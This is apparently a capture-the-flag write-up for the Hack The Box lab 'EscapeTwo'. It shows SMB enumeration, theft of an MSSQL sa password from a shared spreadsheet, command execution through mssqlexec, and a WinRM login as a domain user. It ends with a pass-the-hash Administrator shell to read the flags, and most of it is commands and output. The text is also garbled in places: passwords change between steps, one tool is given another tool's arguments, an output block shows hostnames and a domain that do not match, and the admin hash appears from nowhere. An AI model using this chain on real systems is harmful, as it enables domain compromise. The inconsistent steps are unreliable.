

# EscapeTwo



A simple write-up on gaining initial access to the “**EscapeTwo**” box from HTB. A second part on **privilege escalation** will follow, covering its higher complexity in more detail.

HTB supplied us with the login credentials:

**rose : KxEPkKe6R8su**

As always, we begin with scanning and information collection to gain an initial understanding of our target. Reconnaissance is crucial for any successful attack, helping us identify open services, possible weaknesses, and misconfigurations that may provide a way in.

**NMAP :**

```

(root@kali)-[~]
# nmap -sC -sV 10.10.11.51 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-27 01:11 EDT
Warning: 10.10.11.51 giving up on port because retransmission cap hit (2).
Stats: 0:02:24 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 78.73% done; ETC: 01:14 (0:00:39 remaining)
Nmap scan report for 10.10.11.51
Host is up (0.38s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT      STATE SERVICE        VERSION
53/tcp    open  domain         Simple DNS Plus
88/tcp    open  kerberos-sec   Microsoft Windows Kerberos (server time: 2025-03-27 05:15:01Z)
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ ssl-date: 2025-03-27T05:16:32+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=DC01.sequel.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1<unsupported>, DNS:DC01.sequel.htb
|_ Not valid before: 2024-06-08T17:35:00
|_ Not valid after: 2025-06-08T17:35:00
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http     Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap       Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ ssl-date: 2025-03-27T05:16:32+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=DC01.sequel.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1<unsupported>, DNS:DC01.sequel.htb
|_ Not valid before: 2024-06-08T17:35:00
|_ Not valid after: 2025-06-08T17:35:00
1433/tcp  open  ms-sql-s       Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ ms-sql-info:
|_   10.10.11.51:1433:
|_     Version:
|_       name: Microsoft SQL Server 2019 RTM
|_       number: 15.00.2000.00
|_       Product: Microsoft SQL Server 2019
|_       Service pack level: RTM
|_       Post-SP patches applied: false
|_     TCP port: 1433
|_   ssl-date: 2025-03-27T05:16:32+00:00; 0s from scanner time.
|_   ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
|_   Not valid before: 2025-03-26T18:02:15
|_   Not valid after: 2055-03-26T18:02:15
|_ ms-sql-ntlm-info:
|_   10.10.11.51:1433:
|_     MS-SQL-NTLM-Info:
|_       10.10.11.51:1433:
|_         Target Name: SEQUEL
|_         NetBIOS_Domain_Name: SEQUEL
|_         NetBIOS_Computer_Name: DC01
|_         DNS_Domain_Name: sequel.htb
|_         DNS_Computer_Name: DC01.sequel.htb
|_         DNS_Tree_Name: sequel.htb
|_         Product Version: 10.0.17763
3268/tcp  open  ldap           Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ ssl-cert: Subject: commonName=DC01.sequel.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1<unsupported>, DNS:DC01.sequel.htb
|_ Not valid before: 2024-06-08T17:35:00
|_ Not valid after: 2025-06-08T17:35:00
|_ ssl-date: 2025-03-27T05:16:32+00:00; 0s from scanner time.
3269/tcp  open  ssl/ldap       Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ ssl-date: 2025-03-27T05:16:32+00:00; 0s from scanner time.
|_ ssl-cert: Subject: commonName=DC01.sequel.htb
|_ Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1<unsupported>, DNS:DC01.sequel.htb
|_ Not valid before: 2024-06-08T17:35:00
|_ Not valid after: 2025-06-08T17:35:00
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb-time:
|_   date: 2025-03-27T05:15:53
|_   start_date: N/A
|_ smb2-security-mode:
|_   3.1:1:
|_     Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 309.86 seconds

```

#### 10.10.11.51 Escapetwo.htb

Now, we can list shared resources and gather user information using SMB.

**# netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --users**

```
(root@kali)-[~]
# netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --users

[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
[*] sequel.htb\rose:KxEPkKe6R8su
-Username- -Last PW Set- -BadPW- -Description-
Administrator 2024-06-08 16:32:20 0 Built-in account for administering the computer/domain
Guest 2024-12-25 14:44:53 0 Built-in account for guest access to the computer/domain
krbtgt 2024-06-08 16:40:23 0 Key Distribution Center Service Account
michael 2024-06-08 16:47:37 0
ryan 2024-06-08 16:55:45 0
oscar 2024-06-08 16:56:36 0
sql_svc 2024-06-09 07:58:42 0
rose 2024-12-25 14:44:54 0
ca_svc 2025-03-26 13:37:29 0
[*] Enumerated 9 local users: SEQUEL
```

**# netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --computers**

```
(root@kali)-[~]
# netexec smb 10.10.11.51 -u 'rose' -p 'KxEPkKe6R8su' --computers

[*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
[*] sequel.htb\rose:KxEPkKe6R8su
[*] Enumerated domain computer(s)
sequel.htb\DC01$
```

**# Smbclient "//10.10.11.51/Accounting Department" -U SEQUEL.HTB\\rose**

```
(root@kali)-[~]
# smbclient //10.10.11.51/Accounting Department -U SEQUEL.HTB\\rose
Password for [SEQUEL.HTB\rose]:
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0  Sun Jun  9 16:22:21 2024
..               D          0  Sun Jun  9 16:22:21 2024
accounting_2024.xlsx A       10217 Sun Jun  9 15:44:49 2024
accounts.xlsx    A        6780 Sun Jun  9 16:22:07 2024

6367231 blocks of size 4096, 925917 blocks available
smb: \> mget accounts.xlsx
Get file accounts.xlsx? y
getting file \accounts.xlsx of size 6780 as accounts.xlsx (3.3 KiloBytes/sec) (average 3.3 KiloBytes/sec)
smb: \>
```

After getting .xlsx we just get into online viewer we have to view account.xlsx file

Viewing accounts.xlsx file with jumpshare



After attempting these methods, only "sa / mssql" appears to be working. Database passwords are always a reliable option, so let's check there next.

# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth --list

```
(root@kali)~# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth --list
LOW PRIVILEGE MODULES
[*] mssql_priv Enumerate and exploit MSSQL privileges

HIGH PRIVILEGE MODULES (requires admin privs)
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] met_inject Downloads the Meterpreter stager and injects it into memory
[*] nanodump Get lsass dump using nanodump and parse the result with pypykatz
[*] test_connection Pings a host
[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
```

# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth --module mssql\_priv

```
(root@kali)~# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth --module mssql_priv
MSSQL 10.10.11.51 1433 DC01 [+] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL_PRIV 10.10.11.51 1433 DC01 [+] sa is already a sysadmin
```

# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x "dir C:users"

```
(root@kali)~# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x "dir C:users"
MSSQL 10.10.11.51 1433 DC01 [+] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec
MSSQL 10.10.11.51 1433 DC01 Volume in drive C has no label.
MSSQL 10.10.11.51 1433 DC01 Volume Serial Number is 3705-289D
MSSQL 10.10.11.51 1433 DC01 Directory of C:\Windows\system32
MSSQL 10.10.11.51 1433 DC01 File Not Found
```

# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x "whoami"

```
(root@kali)~# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x "whoami"
MSSQL 10.10.11.51 1433 DC01 [+] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec
MSSQL 10.10.11.51 1433 DC01 sequel\sql_svc
```

# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x "sql\_svc"

```
(root@kali)~# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x "sql_svc"
MSSQL 10.10.11.51 1433 DC01 [+] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec
MSSQL 10.10.11.51 1433 DC01 'sql_svc' is not recognized as an internal or external command,
operable program or batch file.
```

# mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x "dir C:\User"

```
(root@kali)~# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x "dir C:\User"
MSSQL 10.10.11.51 1433 DC01 [+] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec
MSSQL 10.10.11.51 1433 DC01 Volume in drive C has no label.
MSSQL 10.10.11.51 1433 DC01 Volume Serial Number is 3705-289D
MSSQL 10.10.11.51 1433 DC01 Directory of C:\
MSSQL 10.10.11.51 1433 DC01 File Not Found
```

```

root@kali:~# netexec mssql 10.10.11.51 -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x 'dir C:\Users\ryan\Desktop\user.txt'
MSSQL 10.10.11.51 1433 DC01 [+] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec
MSSQL 10.10.11.51 1433 DC01 Access is denied.

```

```
(root@kali):~#  
root@kali:~# netexec mssql 10.10.11.51 -u 'sa' -p 'M$SQLP@ssw0rd!' --local-auth -o "SELECT @@version"  
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2016 Build 17763 (name:DC01) (domain:sequel.lth)  
MSSQL 10.10.11.51 1433 DC02 [*] DC01\sa=M$SQLP@ssw0rd! (PwMdi)  
MSSQL 10.10.11.51 1433 DC03 Microsoft SQL Server 2019 (RTM) - 15.0.2080.5 (X64)  
Sep 24 2019 13:48:23  
Copyright (C) 2019 Microsoft Corporation  
Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)
```

[illegible]

```

root@kali:~# netexec winrm 10.10.11.51 -u 'ryan' -p 'WqZAF6CysDQbG3'
[*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 4.0.0.
  arc4 = algorithms.ARC4(self.key)
[*] sequel.htb/ryan:WqZAF6CysDQbG3 (Pwn3d!)

```

```
# evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
```



```
(root@kali)-[~]
└─# evil-winrm -i 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3'
Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\ryan\Documents> cd ..
*Evil-WinRM* PS C:\Users\ryan> cd Desktop
*Evil-WinRM* PS C:\Users\ryan\Desktop> ls

Directory: C:\Users\ryan\Desktop

Mode                LastWriteTime         Length Name
----                -
-rw- 3/26/2025  3:02 AM             34 user.txt

*Evil-WinRM* PS C:\Users\ryan\Desktop> cat user.txt
0def09161de4f001c43595ba037722
*Evil-WinRM* PS C:\Users\ryan\Desktop>
```

Finally I found first flag : user.txt

# impacket-secretsdump -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca\_svc' 'sequel.htb'/'ryan':"WqSZAF6CysDQbGb3"

```
(root@kali)-[~]
└─# impacket-secretsdump -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':"WqSZAF6CysDQbGb3"
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
```

# impacket-secretsdump  
'10.10.11.51/ryan:WqSZAF6CysDQbGb3@10.10.11.51'

```
(root@kali)-[~]
└─# impacket-secretsdump '10.10.11.51/ryan:WqSZAF6CysDQbGb3@10.10.11.51'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...
```

# evil-winrm -i 10.10.11.51 -u 'administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'

```
(root@kali)-[~]
└─# evil-winrm -i 10.10.11.51 -u 'administrator' -H '7a8d4e04986afa8ed4060f75e5a0b3ff'
Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ls

Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -
-rw- 3/26/2025  3:02 AM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
a5e474c92e1440199b04f2275019fa84
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

I found second flag : root.txt

Here Completed the escapetwo hack the box lab.

**Finally completed the EscapeTwo lab and earned 30 points**

